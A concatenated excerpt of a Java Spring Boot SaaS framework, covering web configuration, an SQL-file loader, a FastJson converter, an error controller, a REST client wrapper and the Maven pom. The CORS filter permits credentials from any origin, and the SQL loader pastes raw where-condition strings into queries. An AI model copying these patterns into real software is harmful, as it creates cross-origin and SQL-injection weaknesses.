template.setErrorHandler(new CommonResponseErrorHandler());
template.setMessageConverters(context.getBean(HttpMessageConverters.class).getConverters());
return template;
}
/**
* customize RequestMappingHandlerMapping
* @return
*/
@Bean
public WebMvcRegistrationsAdapter webMvcRegistrationsHandlerMapping()
{
return new WebMvcRegistrationsAdapter()
{
@Override
public RequestMappingHandlerMapping getRequestMappingHandlerMapping()
{
return new ApiMappingHandlerMapping();
}
};
}
@Bean
@ConditionalOnWebApplication
public ServletListenerRegistrationBean<EventListener> servletListenerRegistrationBean(){
ServletListenerRegistrationBean<EventListener> servletListenerRegistrationBean = new ServletListenerRegistrationBean<>();
servletListenerRegistrationBean.setListener(new WebContextHolderListener());
return servletListenerRegistrationBean;
}
@Bean
@Order
public CorsFilter corsFilter() {
final UrlBasedCorsConfigurationSource urlBasedCorsConfigurationSource = new UrlBasedCorsConfigurationSource();
final CorsConfiguration corsConfiguration = new CorsConfiguration();
corsConfiguration.setAllowCredentials(true);
corsConfiguration.addAllowedOrigin("*");
corsConfiguration.addAllowedHeader("*");
corsConfiguration.addAllowedMethod("*");
urlBasedCorsConfigurationSource.registerCorsConfiguration("/**", corsConfiguration);
return new CorsFilter(urlBasedCorsConfigurationSource);
}
@Bean
public CommonErrorController errorController(ErrorAttributes errorAttributes)
{
return new CommonErrorController(errorAttributes);
}
@Bean
public CommonExceptionHandler exceptionHandler()
{
return new CommonExceptionHandler();
}
@Override
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException
{
this.context = applicationContext;
ApplicationContextUtil.setApplicationContext(applicationContext);
}
/*
@Bean
public CommonHandlerExceptionResolver exceptionResolver()
{
return new CommonHandlerExceptionResolver();
}
*/
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/pojo/BaseObject.java
package com.zhjs.saas.core.pojo;
import java.io.Serializable;
import javax.persistence.MappedSuperclass;
import javax.persistence.Transient;
import org.apache.commons.lang3.builder.EqualsBuilder;
import org.apache.commons.lang3.builder.HashCodeBuilder;
import org.hibernate.annotations.TypeDef;
import org.hibernate.annotations.TypeDefs;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.vladmihalcea.hibernate.type.array.IntArrayType;
import com.vladmihalcea.hibernate.type.array.StringArrayType;
import lombok.Getter;
import lombok.Setter;
/**
*
* @author: <NAME>
* @since: 2017-05-18
* @modified: 2017-05-18
* @version:
*/
@Getter
@Setter
@TypeDefs({
@TypeDef(name="string-array", typeClass=StringArrayType.class),
@TypeDef(name="int-array", typeClass=IntArrayType.class)
})
@MappedSuperclass
public abstract class BaseObject implements Serializable {
private static final long serialVersionUID = -3171606573299156035L;
@Transient
private transient int recordCount;
public String toString()
{
// TODO reference by self should be filter
return JSON.toJSONString(this,
SerializerFeature.DisableCircularReferenceDetect,
SerializerFeature.WriteDateUseDateFormat,
SerializerFeature.SkipTransientField,
SerializerFeature.SortField);
}
public String toJSONString()
{
// TODO reference by self should be filter
return this.toString();
}
public boolean equals(Object obj)
{
return EqualsBuilder.reflectionEquals(this, obj);
}
public int hashCode()
{
return HashCodeBuilder.reflectionHashCode(this);
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/dao/sql/SQL.java
package com.zhjs.saas.core.dao.sql;
import static com.zhjs.saas.core.dao.DaoConstants.SQL_Select;
import static com.zhjs.saas.core.dao.DaoConstants.SQL_WhereCondition;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.regex.Pattern;
import org.springframework.core.io.ClassPathResource;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.io.support.ResourcePatternResolver;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.pojo.ObjectCache;
import com.zhjs.saas.core.util.CodecUtil;
import com.zhjs.saas.core.util.StringUtil;
/**
*
* @author: <NAME>
* @since: 2017-07-05
* @modified: 2017-07-05
* @version:
*/
public abstract class SQL
{
private static Logger logger = LoggerFactory.getLogger(SQL.class);
private static ObjectCache sqlCache = new ObjectCache(200);
private static String location = null;
private static String sqlEncode = null;
private static String sqlComment = null;
public static void init(String path, String encoding, String comment){
location = StringUtil.isNotBlank(path) ? path : "classpath:sql";
sqlEncode = StringUtil.isNotBlank(encoding) ? encoding : CodecUtil.Charset;
sqlComment = StringUtil.isNotBlank(comment) ? comment : "--";
}
/**
* initial the SQL statement into cache, <br>
* so that it can prevent to read the SQL file every time.
*/
public static void initCache()
{
clearCache();
ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();
try {
Resource[] resources = resolver.getResources(location+"/**/*.sql");
for(Resource resource : resources)
{
try
{
URL url = resource.getURL();
logger.info("Resolving sql file " + url.toString());
String urlPath = url.getPath().replace("%20", "");
String sqlPackage = location.replace("classpath:","");
if(!sqlPackage.startsWith(File.separator)) sqlPackage=File.separator+sqlPackage;
if(!sqlPackage.endsWith(File.separator)) sqlPackage+=File.separator;
String filename = urlPath.substring(urlPath.lastIndexOf(sqlPackage)+sqlPackage.length());
loadSQL(filename, resource);
} catch (Exception e)
{
logger.error("Error occured while loading sql statement from file.", e);
}
}
} catch (IOException e) {
logger.error("Error occured while loading all sql file. " + e);
}
}
public static void clearCache()
{
sqlCache.clear();
}
/**
* load SQL statement from file, remove all comments, and replace with
* '<b><i>--:whereCondition</i></b>', and inject additional columns to SQL,
* such as
* <p>
* <code>
* select t.* from table t where 1=1 <b><i>--:whereCondition</i></b>
* </code>
* </p>
* will be rendered to
* <p>
* <code>
* select addCol1 col1, addCol2 col2, t.* from table t where 1=1
* and t.contractno='2017070232323112323' and t.approvetime='2017/07/05'
* </code>
* </p>
*
* @param file
* @param whereCondition
* @param additionColumns
* @return
* @throws Exception
*/
public static String loadSQL(String file, String whereCondition, String[][] additionColumns) throws Exception
{
String sql = loadSQL(file);
sql = Pattern.compile(sqlComment+SQL_WhereCondition, Pattern.CASE_INSENSITIVE).matcher(sql)
.replaceFirst(whereCondition);
if (additionColumns != null)
{
String displayColumns = "";
for (String[] column : additionColumns)
displayColumns += "'" + column[1] + "' " + column[0] + ", ";
sql = Pattern.compile(SQL_Select, Pattern.CASE_INSENSITIVE).matcher(sql)
.replaceFirst(SQL_Select + " " + displayColumns);
}
return sql;
}
/**
* load SQL statement, and remove all comments
*
* @param sqlFile
* SQL file name, also support sub path
* @return
* @throws Exception
*/
public static String loadSQL(String sqlFile) throws Exception
{
String cache = (String) (sqlCache.getCacheObject(sqlFile));
if (StringUtil.isNotBlank(cache))
return cache;
return loadSQL(sqlFile, new ClassPathResource(location.replace("classpath:", "")+File.separator+sqlFile));
}
/**
* load SQL statement in the special package, and remove all comments
*
* @param fileName
* SQL file name
* @param packagePath
* @return
* @throws Exception
*/
public static String loadSQL(String fileName, Resource resource) throws Exception
{
if(fileName.startsWith(File.separator)) fileName=fileName.substring(1);
String cache = (String) (sqlCache.getCacheObject(fileName));
if (StringUtil.isNotBlank(cache))
return cache;
StringBuilder builder = new StringBuilder();
BufferedReader reader = null;
if (!resource.exists())
{
throw new Exception("SQL file doesn't exist: " + fileName);
}
try
{
InputStreamReader inReader = new InputStreamReader(resource.getInputStream(), sqlEncode);
reader = new BufferedReader(inReader);
String line = null;
while ((line = reader.readLine()) != null)
{
int index = -1;
if ((index = line.indexOf(sqlComment)) >= 0
&& !line.contains(sqlComment+SQL_WhereCondition))
line = line.substring(0, index);
builder.append(" ").append(line);
}
reader.close();
} catch (Exception e)
{
if (reader != null)
reader.close();
throw e;
}
String sql = builder.toString();
sqlCache.setCache(fileName, sql);
return sql;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/config/DataBaseProperties.java
package com.zhjs.saas.core.config;
import java.util.Properties;
/**
*
* @author: <NAME>
* @since: 2017-05-19
* @modified: 2017-05-19
* @version:
*/
public abstract class DataBaseProperties
{//extends HibernateAndJdbcDaoSupport{
protected Properties prop = new Properties();
/**
* @return the properties
*/
public Properties getProperties()
{
return prop;
}
public String getValue(String key)
{
return this.getProperties().getProperty(key);
}
public String getValue(String key, String defaultValue)
{
return this.getProperties().getProperty(key, defaultValue);
}
public abstract void refresh();
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/FastJsonHttpMsgConverter.java
package com.zhjs.saas.core.web;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.ToStringSerializer;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpInputMessage;
import org.springframework.http.HttpOutputMessage;
import org.springframework.http.MediaType;
import org.springframework.http.converter.HttpMessageNotReadableException;
import org.springframework.http.converter.HttpMessageNotWritableException;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONException;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;
import com.zhjs.saas.core.exception.ExceptionResponse;
import com.zhjs.saas.core.util.StringUtil;
import com.zhjs.saas.core.util.WebUtil;
/**
*
* @author: <NAME>
* @since: 2017-05-20
* @modified: 2017-05-20
* @version:
*/
public class FastJsonHttpMsgConverter extends FastJsonHttpMessageConverter
{
private String excludePath;
public FastJsonHttpMsgConverter(String excludePath, String dateFormat)
{
this.excludePath = excludePath;
FastJsonConfig config = new FastJsonConfig();
config.setSerializerFeatures(SerializerFeature.PrettyFormat,
SerializerFeature.WriteNullStringAsEmpty,
SerializerFeature.WriteNullBooleanAsFalse,
SerializerFeature.WriteNullNumberAsZero,
SerializerFeature.WriteNullListAsEmpty,
SerializerFeature.WriteMapNullValue,
SerializerFeature.WriteEnumUsingName,
SerializerFeature.IgnoreNonFieldGetter,
SerializerFeature.SkipTransientField,
SerializerFeature.WriteDateUseDateFormat,
SerializerFeature.DisableCircularReferenceDetect);
if(StringUtil.isNotBlank(dateFormat))
config.setDateFormat(dateFormat);
SerializeConfig sc = SerializeConfig.globalInstance;
sc.put(BigDecimal.class, ToStringSerializer.instance);
sc.put(Double.TYPE, ToStringSerializer.instance);
sc.put(Double.class, ToStringSerializer.instance);
sc.put(Float.TYPE, ToStringSerializer.instance);
sc.put(Float.class, ToStringSerializer.instance);
config.setSerializeConfig(sc);
this.setFastJsonConfig(config);
this.setSupportedMediaTypes(initMediaType());
}
@Override
protected boolean supports(Class<?> paramClass) {
return true;
}
@Override
protected Object readInternal(Class<? extends Object> clazz, HttpInputMessage inputMessage)
throws IOException, HttpMessageNotReadableException
{
FastJsonConfig config = this.getFastJsonConfig();
try {
String json = StringUtil.copyToString(inputMessage.getBody(), config.getCharset());
JSONObject response = JSONObject.parseObject(json, config.getFeatures());
if(response.getBoolean("success"))
return response.getObject("data", clazz);
return response.toJavaObject(ExceptionResponse.class);
} catch (JSONException ex) {
throw new HttpMessageNotReadableException("JSON parse error: " + ex.getMessage(), ex);
} catch (IOException ex) {
throw new HttpMessageNotReadableException("I/O error while reading input message", ex);
}
}
@Override
protected void writeInternal(Object obj, HttpOutputMessage outputMessage)
throws IOException, HttpMessageNotWritableException
{
if( !(obj instanceof CommonResponse) && match() )
obj = new CommonResponse(obj);
HttpHeaders headers = outputMessage.getHeaders();
ByteArrayOutputStream outnew = new ByteArrayOutputStream();
int len = JSON.writeJSONString(outnew, //
this.getFastJsonConfig().getCharset(), //
obj, //
this.getFastJsonConfig().getSerializeConfig(), //
this.getFastJsonConfig().getSerializeFilters(), //
this.getFastJsonConfig().getDateFormat(), //
JSON.DEFAULT_GENERATE_FEATURE, //
this.getFastJsonConfig().getSerializerFeatures());
if (this.getFastJsonConfig().isWriteContentLength())
{
headers.setContentLength(len);
}
OutputStream out = outputMessage.getBody();
outnew.writeTo(out);
outnew.close();
}
private boolean match()
{
HttpServletRequest request = WebUtil.getRequest();
if(request!=null && StringUtil.isNotBlank(excludePath))
return !request.getRequestURI().matches(excludePath+"(.*)");
return true;
}
protected List<MediaType> initMediaType()
{
List<MediaType> supportedMediaTypes = new ArrayList<>();
supportedMediaTypes.add(MediaType.APPLICATION_JSON);
supportedMediaTypes.add(MediaType.APPLICATION_JSON_UTF8);
supportedMediaTypes.add(MediaType.APPLICATION_ATOM_XML);
supportedMediaTypes.add(MediaType.APPLICATION_FORM_URLENCODED);
supportedMediaTypes.add(MediaType.APPLICATION_RSS_XML);
supportedMediaTypes.add(MediaType.APPLICATION_XHTML_XML);
supportedMediaTypes.add(MediaType.APPLICATION_XML);
supportedMediaTypes.add(MediaType.MULTIPART_FORM_DATA);
supportedMediaTypes.add(MediaType.TEXT_EVENT_STREAM);
supportedMediaTypes.add(MediaType.TEXT_HTML);
supportedMediaTypes.add(MediaType.TEXT_MARKDOWN);
supportedMediaTypes.add(MediaType.TEXT_PLAIN);
supportedMediaTypes.add(MediaType.TEXT_XML);
return supportedMediaTypes;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/exception/CommonErrorController.java
package com.zhjs.saas.core.exception;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.web.AbstractErrorController;
import org.springframework.boot.autoconfigure.web.ErrorAttributes;
import org.springframework.boot.autoconfigure.web.ErrorViewResolver;
import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.core.env.Environment;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import com.zhjs.saas.core.annotation.InitMethod;
import com.zhjs.saas.core.annotation.RestComponent;
import com.zhjs.saas.core.config.PropertyConfig;
import com.zhjs.saas.core.logger.Logger;
import com.zhjs.saas.core.logger.LoggerFactory;
import com.zhjs.saas.core.util.MessageUtil;
import com.zhjs.saas.core.util.StringUtil;
/**
*
* @author: <NAME>
* @since: 2018-02-22
* @modified: 2018-02-22
* @version:
*/
@Order(Ordered.HIGHEST_PRECEDENCE)
@RestComponent(namespace="${server.error.path:${error.path:/error}}")
public class CommonErrorController extends AbstractErrorController
{
private Logger logger = LoggerFactory.getLogger(getClass());
@Value("${server.error.path:${error.path:/error}}")
private static String errorPath = "/error";
private Environment env;
private String[] tracePackages;
@InitMethod
public void init()
{
String[] packs = env.getProperty(PropertyConfig.Exception_Trace_Package, String.class, "").split(",");
tracePackages = new String[packs.length];
for(int i=0; i<packs.length; i++)
tracePackages[i] = StringUtil.trim(packs[i]);
}
public CommonErrorController(ErrorAttributes errorAttributes)
{
super(errorAttributes);
}
public CommonErrorController(ErrorAttributes errorAttributes, List<ErrorViewResolver> errorViewResolvers)
{
super(errorAttributes, errorViewResolvers);
}
@Override
public String getErrorPath() {
return errorPath;
}
@RequestMapping
@ResponseBody
public ExceptionResponse error(HttpServletRequest request, HttpServletResponse response, Exception e) throws Exception {
if(e instanceof BaseException)
return handle(request, response, (BaseException)e);
BaseException t = new BaseException(BaseException.Not_Classified_Error, e.getMessage(), e);
if( env.getProperty(PropertyConfig.Exception_Global_Trace, Boolean.class, false) || requestErrorTrace(request))
parsingStackTrace(t, e);
return handle(request, response, t);
}
@RequestMapping(produces = "text/html")
public ModelAndView handleHtml(HttpServletRequest request, HttpServletResponse response) throws Exception {
return null;
}
public ExceptionResponse handle(HttpServletRequest request, HttpServletResponse response, BaseException e) throws Exception
{
ExceptionResponse eReturn = new ExceptionResponse();
eReturn.setErrorCode(e.getErrorCode());
eReturn.setTraceID(e.getTraceID());
if( (e.getErrorModel()==null || !e.getErrorModel().containsKey(BaseException.CauseKey))
&& (requestErrorTrace(request) || env.getProperty(PropertyConfig.Exception_Global_Trace, Boolean.class, false)) )
parsingStackTrace(e, e);
eReturn.setData(e.getErrorModel());
String msg = MessageUtil.getMessage(e.getErrorCode(), e.getArguments());
if(StringUtil.isBlank(e.getErrorMsg()))
eReturn.setMessage(msg);
logger.error(msg, e);
return eReturn;
}
protected boolean requestErrorTrace(HttpServletRequest request)
{
return false;
}
/**
* @param t
* @param e
*/
protected void parsingStackTrace(BaseException t, Exception e)
{
List<String> causeTrace = new ArrayList<>();
StackTraceElement[] stackTrace = e.getStackTrace();
StackTraceElement first = stackTrace[0];
for(StackTraceElement element : stackTrace)
{
String trace = element.toString();
if(element==first)
{
causeTrace.add(trace);
continue;
}
for(String pack : this.tracePackages)
if(trace.startsWith(pack))
causeTrace.add(trace);
}
t.addErrorValue(BaseException.CauseKey, causeTrace);
t.addErrorValue(BaseException.MessageKey, e.getMessage());
}
}
<file_sep>/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.zhjs</groupId>
<artifactId>saas-framework</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>pom</packaging>
<name>${project.artifactId}</name>
<description>SaaS-Framework is a basic framework, the micro beginning of everything</description>
<organization>
<name>Wisdom Constructor Tech CO., LTD</name>
<url>http://www.zhihuijianshe.com</url>
</organization>
<developers>
<developer>
<name><NAME></name>
<email/>
<organization>Technology Department</organization>
<organizationUrl>http://www.zhihuijianshe.com</organizationUrl>
<roles>
<role>Chief Architect</role>
</roles>
</developer>
</developers>
<modules>
<module>saas-core</module>
<module>saas-command</module>
<module>saas-trace</module>
<module>saas-notification</module>
<module>saas-router</module>
<module>saas-scheduler</module>
<module>saas-quantum</module>
<module>saas-quark</module>
<module>saas-security</module>
<module>saas-dsl</module>
<module>saas-flow</module>
<module>saas-dependencies</module>
<module>saas-api-doc</module>
<module>saas-parent</module>
</modules>
<properties>
<argLine>-Dfile.encoding=UTF-8</argLine>
<java.version>1.8</java.version>
<maven.version.range>[3.0.4,)</maven.version.range>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-resources-plugin.version>3.0.2</maven-resources-plugin.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<saas.framework.version>0.0.1-SNAPSHOT</saas.framework.version>
<springframework.version>4.3.11.RELEASE</springframework.version>
<springframework.boot.version>1.5.13.RELEASE</springframework.boot.version>
<spring.cloud.version>Edgware.RELEASE</spring.cloud.version>
<jabx-api.version>2.3.0</jabx-api.version>
<hessian.version>4.0.51</hessian.version>
<dubbo.version>2.5.7</dubbo.version>
<springboot-dubbox.version>2.3.8</springboot-dubbox.version>
<hibernate-types.version>2.2.2</hibernate-types.version>
<lombok.version>1.16.20</lombok.version>
<swagger2.version>2.8.0</swagger2.version>
<swagger2-ui.version>0.0.4</swagger2-ui.version>
<elastic-job.version>2.1.5</elastic-job.version>
<zookeeper.version>3.5.2-alpha</zookeeper.version>
<curator-client.version>2.11.1</curator-client.version>
<commons-beanutils.version>1.9.3</commons-beanutils.version>
<commons-lang3.version>3.6</commons-lang3.version>
<fastjson.version>1.2.39</fastjson.version>
<mysql-connector.version>6.0.6</mysql-connector.version>
<pgsql.version>42.2.2</pgsql.version>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${springframework.boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>${spring.cloud.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<!-- <version>${springframework.boot.version}</version> -->
<!-- <exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>${springframework.boot.version}</version> -->
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-rest</artifactId>
</dependency>
<dependency>
<groupId>com.vladmihalcea</groupId>
<artifactId>hibernate-types-52</artifactId>
<version>${hibernate-types.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- <dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
</dependency> -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<!-- <version>${commons-beanutils.version}</version> -->
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId>
<version>${commons-lang3.version}</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>${fastjson.version}</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>${pgsql.version}</version><!--$NO-MVN-MAN-VER$-->
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>${lombok.version}</version><!--$NO-MVN-MAN-VER$-->
<scope>provided</scope>
<optional>true</optional>
</dependency>
<!-- <dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
<version>${jabx-api.version}</version>
</dependency> -->
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
<testSource>${java.version}</testSource>
<testTarget>${java.version}</testTarget>
<encoding>${project.build.sourceEncoding}</encoding>
</configuration>
</plugin>
</plugins>
</build>
</project><file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/BootServletInitializer.java
package com.zhjs.saas.core.web;
import javax.servlet.ServletContext;
import org.springframework.boot.web.support.SpringBootServletInitializer;
import org.springframework.web.context.WebApplicationContext;
import com.zhjs.saas.core.event.ApplicationBootedEvent;
import com.zhjs.saas.core.event.EventDispatcher;
import com.zhjs.saas.core.util.ApplicationContextUtil;
/**
*
* @author: <NAME>
* @since: 2017-10-16
* @modified: 2017-10-16
* @version:
*/
public abstract class BootServletInitializer extends SpringBootServletInitializer
{
protected WebApplicationContext createRootApplicationContext(ServletContext servletContext)
{
WebApplicationContext application = super.createRootApplicationContext(servletContext);
ApplicationContextUtil.setApplicationContext(application);
EventDispatcher.dispatchEvent(new ApplicationBootedEvent(application));
return application;
}
}
<file_sep>/saas-core/src/main/java/com/zhjs/saas/core/web/ServiceTemplate.java
package com.zhjs.saas.core.web;
import static com.zhjs.saas.core.config.PropertyConfig.Remote_Gateway;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpMethod;
import org.springframework.http.ResponseEntity;
import org.springframework.http.client.ClientHttpRequestFactory;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.web.client.RequestCallback;
import org.springframework.web.client.ResponseExtractor;
import org.springframework.web.client.RestTemplate;
import com.alibaba.fastjson.util.ParameterizedTypeImpl;
import com.zhjs.saas.core.exception.CommonResponseErrorHandler;
import com.zhjs.saas.core.util.StringUtil;
/**
*
* @author: <NAME>
* @since: 2017-12-13
* @modified: 2017-12-13
* @version:
*/
public class ServiceTemplate extends RestTemplate
{
@Value("${"+Remote_Gateway+":gateway}")
private String gateway;
public ServiceTemplate() {
super();
this.setErrorHandler(new CommonResponseErrorHandler());
}
public ServiceTemplate(ClientHttpRequestFactory requestFactory) {
super(requestFactory);
this.setErrorHandler(new CommonResponseErrorHandler());
}
public ServiceTemplate(List<HttpMessageConverter<?>> messageConverters) {
super(messageConverters);
this.setErrorHandler(new CommonResponseErrorHandler());
}
/**
*
* @param messageConverter
* @param clear indicate if you want to clear the original converter list, or just append a new one
* @return
*/
public ServiceTemplate addMessageConverter(HttpMessageConverter<?> messageConverter, boolean clear)
{
if(clear)
{
List<HttpMessageConverter<?>> converters = new ArrayList<>();
converters.add(messageConverter);
this.setMessageConverters(converters);
}
else
this.getMessageConverters().add(messageConverter);
return this;
}
/**
*
* @param messageConverter list of HttpMessageConverter
* @param clear indicate if you want to clear the original converter list, or just append a new one
* @return
*/
public ServiceTemplate addMessageConverters(List<HttpMessageConverter<?>> converters, boolean clear)
{
if(clear)
{
this.setMessageConverters(converters);
}
else
this.getMessageConverters().addAll(converters);
return this;
}
/*
public <T> T post(String url, Object request, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
return super.postForObject(url, request, responseType, uriVariables);
}
public <T> T post(String url, Object request, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
return super.postForObject(uri.toString(), request, responseType, uriVariables);
}
public <T> T get(String url, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
return super.getForObject(url, responseType, uriVariables);
}
public <T> T get(String url, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
return super.getForObject(uri.toString(), responseType, uriVariables);
}
*/
public <T,E> T post(String url, E reqParam, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
RequestCallback requestCallback = httpEntityCallback(reqParam, responseType);
ResponseExtractor<ResponseEntity<ServiceResponse<T>>> responseExtractor = responseEntityExtractor(responseType);
return execute(url, HttpMethod.POST, requestCallback, responseExtractor, uriVariables).getBody().getData();
}
public <T,E> T post(String url, E reqParam, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
RequestCallback requestCallback = httpEntityCallback(reqParam, responseType);
ResponseExtractor<ResponseEntity<ServiceResponse<T>>> responseExtractor = responseEntityExtractor(responseType);
return execute(uri.toString(), HttpMethod.POST, requestCallback, responseExtractor, uriVariables).getBody().getData();
}
public <T,E> List<T> postForList(String url, E reqParam, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
return super.exchange(url, HttpMethod.POST, new HttpEntity<E>(reqParam),
resolveParameterizedType(responseType), uriVariables).getBody().getData();
}
public <T,E> List<T> postForList(String url, E reqParam, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
return super.exchange(uri.toString(), HttpMethod.POST, new HttpEntity<E>(reqParam),
resolveParameterizedType(responseType), uriVariables).getBody().getData();
}
public <T> T get(String url, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
RequestCallback requestCallback = acceptHeaderRequestCallback(responseType);
ResponseExtractor<ResponseEntity<ServiceResponse<T>>> responseExtractor = responseEntityExtractor(responseType);
return super.execute(url, HttpMethod.GET, requestCallback, responseExtractor, uriVariables).getBody().getData();
}
public <T> T get(String url, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
RequestCallback requestCallback = acceptHeaderRequestCallback(responseType);
ResponseExtractor<ResponseEntity<ServiceResponse<T>>> responseExtractor = responseEntityExtractor(responseType);
return super.execute(uri.toString(), HttpMethod.GET, requestCallback, responseExtractor, uriVariables).getBody().getData();
}
public <T> List<T> getForList(String url, Class<T> responseType, Object...uriVariables) throws Exception
{
url = resolve(url);
return super.exchange(url, HttpMethod.GET, null, resolveParameterizedType(responseType), uriVariables).getBody().getData();
}
public <T> List<T> getForList(String url, Class<T> responseType, Map<String,?> uriVariables) throws Exception
{
StringBuilder uri = new StringBuilder(resolve(url));
if(uriVariables!=null && uriVariables.keySet().size()>0)
{
if(url.indexOf("?")==-1)
{
uri.append("?");
}
uriVariables.keySet().stream().filter(key -> !key.equalsIgnoreCase("method")).forEach(key -> {
uri.append("&").append(key).append("={").append(key).append("}");
});
}
